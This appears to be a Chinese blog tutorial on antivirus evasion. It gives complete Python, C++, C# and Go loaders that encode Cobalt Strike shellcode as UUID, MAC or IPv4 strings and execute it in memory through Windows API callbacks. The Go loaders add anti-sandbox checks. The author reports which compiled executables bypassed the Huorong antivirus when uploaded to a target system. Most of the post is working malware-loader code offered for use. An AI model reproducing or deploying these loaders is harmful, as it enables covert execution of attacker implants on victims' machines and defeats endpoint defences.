免杀对抗-内存加载-shellcode转换-UUID+MAC+IPV4

news2024/11/22 16:10:35

内存加载-UUID地址-ShellCode转换

介绍:通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。

演示语言:c++

1.使用以下代码将c语言的shellcode转换为uuid类型

代码:uuid.py

import uuid
import binascii

buf =  b"生成的shellcode"
hex = binascii.hexlify(buf).decode()
hex += '0' * (32 - (len(hex) % 32))
for i in range(0,len(hex),32):
      print("\"{}\",".format(uuid.UUID(bytes_le=binascii.unhexlify(hex[i:i+32]))))

使用python运行:

2.使用32位的加载器执行,将uuid类型的shellcode放到如下加载器中

c++的uuid-shellcode加载器代码:uuid.cpp

#include <Windows.h>
#include <Rpc.h>
#include <iostream>

#pragma comment(lib, "Rpcrt4.lib")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

const char* uuids[] =
{
uuid的shellcode
    };

int main()
{
    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* ha = HeapAlloc(hc, 0, 0x100000);
    DWORD_PTR hptr = (DWORD_PTR)ha;
    int elems = sizeof(uuids) / sizeof(uuids[0]);

    for (int i = 0; i < elems; i++) {
        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
        if (status != RPC_S_OK) {
            CloseHandle(ha);
            return -1;
        }
        hptr += 16;
    }
    EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
    CloseHandle(ha);
    return 0;
}

执行代码,cs成功上线

3.生成exe执行程序,上传目标系统,被火绒杀死。

此shellcode转换uuid的方法还可以使用:C# Python2 Go 等语言的shellcode加载器实施免杀。

演示语言:c#

4.使用c#语言加载器,生成exe程序。

c#的uuid-shellcode加载器代码:uuid.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using DInvoke;

namespace UuidShellcode
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr HeapCreate(uint flOptions, UIntPtr dwInitialSize,UIntPtr dwMaximumSize);

        [DllImport("kernel32.dll", SetLastError = false)]static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);
        static void Main(string[] args)
        {
            var HeapCreateHandle = HeapCreate((uint)0x00040000, UIntPtr.Zero, UIntPtr.Zero);
            var heapAddr = HeapAlloc(HeapCreateHandle, (uint)0, (uint)0x100000);

            string[] uuids =
{
Uuid的shellcode
                           };

            IntPtr pkernel32 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("kernel32.dll");
            IntPtr prpcrt4 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("rpcrt4.dll");
            IntPtr pEnumSystemLocalesA = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32, "EnumSystemLocalesA");
            IntPtr pUuidFromStringA = DInvoke.DynamicInvoke.Generic.GetExportAddress(prpcrt4, "UuidFromStringA");

            IntPtr newHeapAddr = IntPtr.Zero;
            for (int i = 0; i < uuids.Length; i++)
            {
                newHeapAddr = IntPtr.Add(HeapCreateHandle, 16 * i);
                object[] uuidFromStringAParam = { uuids[i], newHeapAddr };
                var status = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pUuidFromStringA, typeof(DELEGATE.UuidFromStringA), ref uuidFromStringAParam);
            }
    
            object[] enumSystemLocalesAParam = { HeapCreateHandle, 0 };
            var result = DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pEnumSystemLocalesA, typeof(DELEGATE.EnumSystemLocalesA), ref enumSystemLocalesAParam);
        }
    }
    public class DELEGATE
    {
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate IntPtr UuidFromStringA(string StringUuid, IntPtr heapPointer);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, int dwFlags);
    }
}

5.将exe上传目标系统,成功绕过火绒检测

内存加载-MAC地址-ShellCode转换

介绍:MAC地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片,通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的,IP地址是32位的,而MAC地址则是48位(6个字节)的。

使用python语言的加载器

1.使用以下代码将c语言的shellcode转换为mac类型

代码:mac.py

import ctypes

shellcode = b"生成的shellcode"
macmem = ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode)/6*17,0x3000,0x40)
for i in range(len(shellcode)/6):
     bytes_a = shellcode[i*6:6+i*6]
     ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
a = ctypes.string_at(macmem, len(shellcode) * 3 - 1)
print(a)


list = []
for i in range(len(shellcode)/6):
    d = ctypes.string_at(macmem+i*17,17)
    list.append(d)
print(list)

使用python2执行:

2.将生成的mac类型shellcode放到加载器中。

python语言的mac类型shellcode加载器代码:mac-zx.py

import ctypes

list=[mac类型shellcode]
ptr = ctypes.windll.kernel32.VirtualAlloc(0,len(list)*6,0x3000,0x04)
rwxpage = ptr
for i in range(len(list)):
    ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage)
    rwxpage += 6
ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

使用python2执行,cs成功上线

3.执行命令,使用pyinstaller将mac-zx.py打包成exe执行程序。

安装:python install pyinstall

注:python2如果安装不成功,可使用python3安装,然后在sciripts目录将pyinstall.exe程序复制到python2

打包命令:pyinstaller.exe -F -w mac-zx.py

执行打包成功,exe保存在dist目录下

4.将exe程序上传到目标系统,成功绕过火绒检测。

使用go语言的加载器

1.使用以下代码将c语言的shellcode转换为mac类型

代码:mac.py 安装的go是什么位数就使用什么位数的shellcode

import ctypes

#Input your shellcode like:\xfc\x48\x83\xe4\xf0\xe8\xxx
shellcode = b'生成的shellcode'
mac = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)/6*17, 0x3000, 0x40)
for i in range(len(shellcode)/6):
     bytes_shellcode = shellcode[i*6:6+i*6]
     ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_shellcode, mac+i*17)
a = ctypes.string_at(mac, len(shellcode)*3-1)
#print(a)

l = []
for i in range(len(shellcode)/6):
    d = ctypes.string_at(mac+i*17, 17)
    l.append(d)
mac_shellcode = str(l).replace("'", "\"").replace(" ", "").replace("\r\n","")
with open("mac_shell.txt", "w+") as f:
    f.write(mac_shellcode)

使用python执行:在根目录生成一个mac_shell.txt文件保存mac类型的shellcode

2.将转换的mac类型shellcode放到如下加载器中

go语言mac-shelcode加载器代码:此加载器有反虚拟机代码,防止杀软调试

go-mac.go:

/*

Author:Crispr

*/

packagemain


import(

"fmt"

"io/ioutil"

"log"

"os"

"runtime"

"syscall"

"time"

"unsafe"


"github.com/Binject/universal"

"golang.org/x/sys/windows"

)


var(

kernel32=windows.NewLazySystemDLL("kernel32")

Activeds=windows.NewLazySystemDLL("Activeds.dll")

HeapCreate=kernel32.NewProc("HeapCreate")

HeapAlloc=kernel32.NewProc("HeapAlloc")

AllocADsMem=Activeds.NewProc("AllocADsMem")

VirtualProtectEx=kernel32.NewProc("VirtualProtectEx")

EnumSystemLocalesW=kernel32.NewProc("EnumSystemLocalesW")

)


const(

//配置堆属性

MEM_COMMIT=0x1000

MEM_RESERVE=0x2000

PAGE_EXECUTE_READWRITE=0x40//区域可以执行代码,应用程序可以读写该区域。

HEAP_CREATE_ENABLE_EXECUTE=0x00040000

)


//此处填写shellcode转化为MAC后的字符例如"FC-48-83-E4-F0-E8","C8-00-00-00-41-51"

varshell_mac[]string=[]string{mac类型shellcode}


funcnumverofCPU()(int,error){

num_of_cpu:=runtime.NumCPU()

ifnum_of_cpu<4{

return0,nil

}else{

return1,nil

}

}


functimeSleep()(int,error){

startTime:=time.Now()

time.Sleep(10*time.Second)

endTime:=time.Now()

sleepTime:=endTime.Sub(startTime)

ifsleepTime>=time.Duration(10*time.Second){

return1,nil

}else{

return0,nil

}

}


funcphysicalMemory()(int,error){

varmod=syscall.NewLazyDLL("kernel32.dll")

varproc=mod.NewProc("GetPhysicallyInstalledSystemMemory")

varmemuint64

proc.Call(uintptr(unsafe.Pointer(&mem)))

mem=mem/1048576

ifmem<4{

return0,nil

}

return1,nil

}


funcmain(){

//自定义睡眠时间

//timeSleep()

varntdll_image[]byte

varerrerror

num,_:=numverofCPU()

mem,_:=physicalMemory()

ifnum==0||mem==0{

fmt.Printf("HelloCrispr")

os.Exit(1)

}

ntdll_image,err=ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")

/*

heapAddr,_,err:=HeapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE),0,0)

ifheapAddr==0{

log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapCreatefunction:\r\n%s",err))

}

*/

ntdll_loader,err:=universal.NewLoader()


iferr!=nil{

log.Fatal(err)

}

ntdll_library,err:=ntdll_loader.LoadLibrary("main",&ntdll_image)


iferr!=nil{

log.Fatal(fmt.Sprintf("therewasanerrorcallingtheLoadLibraryfunction:\r\n%s",err))

}

/*

addr,_,err:=HeapAlloc.Call(heapAddr,0,uintptr(len(shell_mac)*6))

*/

addr,_,err:=AllocADsMem.Call(uintptr(len(shell_mac)*6))

ifaddr==0||err.Error()!="Theoperationcompletedsuccessfully."{

log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapAllocfunction:\r\n%s",err))

}

addrptr:=addr

for_,mac:=rangeshell_mac{

u:=append([]byte(mac),0)

_,err=ntdll_library.Call("RtlEthernetStringToAddressA",uintptr(unsafe.Pointer(&u[0])),uintptr(unsafe.Pointer(&u[0])),addrptr)

iferr!=nil&&err.Error()!="Theoperationcompletedsuccessfully."{

log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapAllocfunction:\r\n%s",err))

}

addrptr+=6

}

oldProtect:=windows.PAGE_READWRITE

VirtualProtectEx.Call(uintptr(windows.CurrentProcess()),addr,uintptr(len(shell_mac)*6),windows.PAGE_EXECUTE_READWRITE,uintptr(unsafe.Pointer(&oldProtect)))

EnumSystemLocalesW.Call(addr,0)

}

注:如果go get时出现超时错误,执行:go env -w GOPROXY=https://goproxy.cn

3.执行加载器,cs成功上线

4.执行命令,生成exe程序

命令:go build 加载器名字

5.exe上传到目标目录,直接被火绒拿捏。火绒:你直……………………………接给我坐下!

内存加载-IPV4方式-ShellCode转换

介绍:IPv4是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上。此协议会尽最大努力交付数据包,意即它不保证任何数据包均能送达目的地,也不保证所有数据包均按照正确的顺序无重复地到达。IPv4使用32位(4字节)地址。

使用go语言加载器

1.使用如下代码将cs生成的c语言shellcode转换成ipv4类型的shellcode

ipv4.py:

# coding = utf-8
import ctypes

#Input your shellcode like:\xfc\x48\x83\xe4\xf0\xe8\xxx
shellcode = b'cs生成的shellcode'
ipv4 = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)/4*15, 0x3000, 0x40)

for i in range(len(shellcode)/4):
    bytes_shellcode = shellcode[i*4:i*4+4]
    ctypes.windll.Ntdll.RtlIpv4AddressToStringA(bytes_shellcode, ipv4+i*15)

a = ctypes.string_at(ipv4, len(shellcode)*4-1)

l = []
for i in range(len(shellcode)/4):
    d = ctypes.string_at(ipv4+i*15, 15)
    l.append(d)

ipv4_shellcode = str(l).replace("'", "\"").replace(" ", "").replace("\r\n","")
with open("ipv4_shell.txt", "w+") as f:
    f.write(ipv4_shellcode)

使用python执行:生成的shellcode保存在ipv4_shell.txt文件中

2.将ipv4类型的shellcode放到如下加载器中。

go语言的ipv4-shellcode加载器代码:

go-ipv4.go:

/*
Author:Crispr
*/
packagemain

import(
"fmt"
"io/ioutil"
"log"
"os"
"runtime"
"syscall"
"time"
"unsafe"

"github.com/Binject/universal"
"golang.org/x/sys/windows"
)

var(
kernel32=windows.NewLazySystemDLL("kernel32")
Activeds=windows.NewLazySystemDLL("Activeds.dll")
HeapCreate=kernel32.NewProc("HeapCreate")
HeapAlloc=kernel32.NewProc("HeapAlloc")
AllocADsMem=Activeds.NewProc("AllocADsMem")
VirtualProtectEx=kernel32.NewProc("VirtualProtectEx")
EnumSystemLocalesW=kernel32.NewProc("EnumSystemLocalesW")
)

const(
//配置堆属性
MEM_COMMIT=0x1000
MEM_RESERVE=0x2000
PAGE_EXECUTE_READWRITE=0x40//区域可以执行代码,应用程序可以读写该区域。
HEAP_CREATE_ENABLE_EXECUTE=0x00040000
)

//此处放转换后的shellcode例如252.72.131.228\x00","240.232.200.0\x00\x00"
varshell_ipv4[]string=[]string{"ipv4类型的shellcode"}

functimeSleep()(int,error){
startTime:=time.Now()
time.Sleep(10*time.Second)
endTime:=time.Now()
sleepTime:=endTime.Sub(startTime)
ifsleepTime>=time.Duration(10*time.Second){
return1,nil
}else{
return0,nil
}
}

funcnumverofCPU()(int,error){
num_of_cpu:=runtime.NumCPU()
ifnum_of_cpu<4{
return0,nil
}else{
return1,nil
}
}

funcphysicalMemory()(int,error){
varmod=syscall.NewLazyDLL("kernel32.dll")
varproc=mod.NewProc("GetPhysicallyInstalledSystemMemory")
varmemuint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem=mem/1048576
ifmem<4{
return0,nil
}
return1,nil
}

funcmain(){
//自定义睡眠时间
//timeSleep()
varntdll_image[]byte
varerrerror
num,_:=numverofCPU()
mem,_:=physicalMemory()
ifnum==0||mem==0{
fmt.Printf("HelloCrispr")
os.Exit(1)
}
ntdll_image,err=ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")
/*
heapAddr,_,err:=HeapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE),0,0)
ifheapAddr==0{
log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapCreatefunction:\r\n%s",err))
}
*/
ntdll_loader,err:=universal.NewLoader()

iferr!=nil{
log.Fatal(err)
}
ntdll_library,err:=ntdll_loader.LoadLibrary("main",&ntdll_image)

iferr!=nil{
log.Fatal(fmt.Sprintf("therewasanerrorcallingtheLoadLibraryfunction:\r\n%s",err))
}
/*
addr,_,err:=HeapAlloc.Call(heapAddr,0,uintptr(len(shell_mac)*6))
*/
addr,_,err:=AllocADsMem.Call(uintptr(len(shell_ipv4)*4))
ifaddr==0||err.Error()!="Theoperationcompletedsuccessfully."{
log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapAllocfunction:\r\n%s",err))
}
addrptr:=addr
for_,ipv4:=rangeshell_ipv4{
u:=append([]byte(ipv4),0)
_,err=ntdll_library.Call("RtlIpv4StringToAddressA",uintptr(unsafe.Pointer(&u[0])),uintptr(0),uintptr(unsafe.Pointer(&u[0])),addrptr)
iferr!=nil&&err.Error()!="Theoperationcompletedsuccessfully."{
log.Fatal(fmt.Sprintf("therewasanerrorcallingtheHeapAllocfunction:\r\n%s",err))
}
addrptr+=4
}
oldProtect:=windows.PAGE_READWRITE
VirtualProtectEx.Call(uintptr(windows.CurrentProcess()),addr,uintptr(len(shell_ipv4)*4),windows.PAGE_EXECUTE_READWRITE,uintptr(unsafe.Pointer(&oldProtect)))
EnumSystemLocalesW.Call(addr,0)
}

3.执行加载器,cs成功上线

4.执行命令,生成exe程序

命令:go build 加载器名字

5.将exe上传目标目录,被杀

番外:

在shellcode转换成UUID、MAC、IPV4等类型的基础上,还可以配合:编码、加密、分离、垃圾数据等免杀手段提示免杀效果。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1045414.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何使用 API 接口获取商品数据,从申请 API 接口、使用 API 接口到实际应用,一一讲解

在当今的数字化时代&#xff0c;应用程序接口&#xff08;API&#xff09;已经成为数据获取的重要通道。API 接口使得不同的应用程序能够方便地进行数据交换&#xff0c;从而促进了信息的广泛传播和利用。在众多的数据源中&#xff0c;商品数据是一个非常重要的领域&#xff0c…

leetcode面试题0808有重复字符串的排列组合

描述 输入一个长度为 n 字符串&#xff0c;打印出该字符串中字符的所有排列&#xff0c;你可以以任意顺序返回这个字符串数组。 例如输入字符串ABC,则输出由字符A,B,C所能排列出来的所有字符串ABC,ACB,BAC,BCA,CBA和CAB。 数据范围&#xff1a;n<10 要求&#xff1a;空间复…

Mysql高级语句(视图表 、存储过程、条件语句、循环语句)

Mysql高级语句&#xff08;视图表 、存储过程、条件语句、循环语句&#xff09; 一、 CREATE VIEW&#xff08;视图&#xff09;1.1、 视图表概述1.2、 视图表能否修改&#xff1f;&#xff08;面试题&#xff09;1.3、 基本语法1.3.1、 创建1.3.2、 查看1.3.3 、删除 1.4、 通…

基于微信小程序的场地预约系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言系统主要功能&#xff1a;具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计…

react create-react-app v5 从零搭建项目

前言&#xff1a; 好久没用 create-react-app做项目了&#xff0c;这次为了个h5项目&#xff0c;就几个页面&#xff0c;决定自己搭建一个&#xff08;ps:mmp 好久没用&#xff0c;搭建的时候遇到一堆问题&#xff09;。 我之前都是使用 umi 。后台管理系统的项目 使用 antd-…

你听说过推挽电路吗?避免交越失真

推挽电路就是用两个三级管或者场效应管构成的放大电路&#xff0c;这个电路的特点就是输出电阻小&#xff0c;能够驱动大的负载&#xff0c;从而能够使得单片机管脚直接驱动发光二极管、蜂鸣器。上面的三极管是N型三极管&#xff0c;下面的三极管是P型三极管&#xff0c; 当输入…

【深度学习实验】卷积神经网络(五):深度卷积神经网络经典模型——VGG网络(卷积层、池化层、全连接层)

目录 一、实验介绍 二、实验环境 1. 配置虚拟环境 2. 库版本介绍 三、实验内容 0. 导入必要的工具包 1. conv_layer&#xff08;创建卷积块&#xff09; 2. vgg_conv_block&#xff08;卷积模块&#xff1a;卷积层*n、池化层&#xff09; 3. vgg_fc_layer&#xff08;…

华为云云耀云服务器L实例评测|华为云云耀云服务器docker部署srs,可使用HLS协议

华为云云耀云服务器L实例评测&#xff5c;华为云云耀云服务器docker部署srs&#xff0c;可使用HLS协议 什么是华为云云耀云L实例 云耀云服务器L实例&#xff0c;面向初创企业和开发者打造的全新轻量应用云服务器。提供丰富严选的应用镜像&#xff0c;实现应用一键部署&#x…

信创办公–基于WPS的EXCEL最佳实践系列 (获取外部数据)

信创办公–基于WPS的EXCEL最佳实践系列 &#xff08;获取外部数据&#xff09; 目录 应用背景操作步骤1、导入数据2、刷新数据 应用背景 通常企业的数据会存储在数据库或不同的系统中&#xff0c;而我们想要在自己用的工作WPS的excel表格里使用这些数据&#xff0c;我们可以使…

QT入门10个小demo——MP4视频播放器

&#x1f64c;秋名山码民的主页 &#x1f602;oi退役选手&#xff0c;Java、大数据、单片机、IoT均有所涉猎&#xff0c;热爱技术&#xff0c;技术无罪 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; 获取源码&#xff0c;添加WX 目录 一、前…

美摄AIGC创新引擎,助力企业快速搭建AIGC能力(一)

AIGC作为当下最热的重要赛道&#xff0c;迅速在视频、图像、文案、绘画等生产创作领域出圈&#xff0c;吸引了百度、阿里、腾讯、谷歌等众多互联网大厂&#xff0c;纷纷布局和计划推出AIGC类的产品。 全新的视频内容生产方式&#xff0c;AIGC利用人工智能技术实现视频内容的自…

DEV gridview多表头设计

先上图&#xff1a; 第一步转化gridview变成bandedGridview类型 一步步按照自己想要的格式添加&#xff0c;先把表头格式全部弄好&#xff0c;然后在拖拉对应的列。 注意&#xff1a;全部弄完后把列表头设置不可见

踩坑 | vue项目运行后使用require()图片也不显示

文章目录 踩坑 | vue项目运行后使用require()图片也不显示问题描述解决办法1&#xff1a;src属性直接传入地址解决办法2 踩坑 | vue项目运行后使用require()图片也不显示 问题描述 在网上查阅之后&#xff0c;发现结论是在使用vue动态加载图片时&#xff0c;必须使用require。…

一篇爆款产品软文怎么写?媒介盒子告诉你三步

随着数字技术的加速发展&#xff0c;企业推广产品的方式已经逐渐从线下过度到线上&#xff0c;而线上推广中比较常见的方式就是软文推广&#xff0c;软文推广成本较低&#xff0c;用户接受度也更高&#xff0c;但是一篇爆款产品软文应该怎么写呢&#xff1f;下面就让媒介盒子告…

nvm安装后node或npm不是内部或外部命令

nvm安装后出现node或npm不是内部或外部命令 进行以下步骤解决 找到nvm安装所在位置&#xff0c;新建一个空的nodejs文件夹 打开 windowr —> sysdm.cpl —> 高级 —>环境变量 将下图中两个位置的地址改成刚刚新建的nodejs空文件夹所在的位置 nvm安装后都是会自动添加…

Qwen-VL:多功能视觉语言模型,能理解、能定位、能阅读等

Overview 总览摘要1 引言2 方法2.1 模型结构2.2 输入输出 3 训练3.1 预训练3.2 多任务预训练3.3 监督finetune 4 评测4.1 图像文本描述和视觉问答4.2 面向文本的视觉问答4.3 指代表达理解4.4 视觉语言任务中的小样本学习4.4 现实用户行为下的指令遵循 5 相关工作6 总结与展望附…

如何运用yolov5训练自己的数据(手把手教你学yolo)

在这篇博文中&#xff0c;我们对YOLOv5模型进行微调&#xff0c;用于自定义目标检测的训练和推理。 目录 引言&#xff1a; YOLOv5是什么&#xff1f; YOLOv5提供的模型 YOLOv5提供的功能 使用YOLOv5进行自定义目标检测训练 自定义训练的方法 自定义训练代码 准备数据集 …

logback日志框架学习(2)logback的构造

官网 https://logback.qos.ch/manual/architecture.html Logback构造 Logback’s basic architecture is sufficiently generic so as to apply under different circumstances. At the present time, logback is divided into three modules, logback-core, logback-classic…

vue3 +elementplus | vue2+elementui 动态地通过验证规则子新增或删除单个表单字段

效果图 点击 ‘’ 新增一行&#xff0c;点击‘-’ 删除一行 vue3elementplus写法 template <el-dialog v-model"dialogFormVisible" :title"title"><el-form ref"ruleFormRef" :model"form" :inline"true" lab…

强势得分套路之一:单基因泛癌+实验验证

今天给同学们分享一篇单基因泛癌实验验证的生信文章“A human pan-cancer system analysis of heat shock protein family A member 5”&#xff0c;这篇文章于2023年5月15日发表在Am J Cancer Res期刊上&#xff0c;影响因子为5.2。 热休克蛋白家族A成员5&#xff08;HSPA5&am…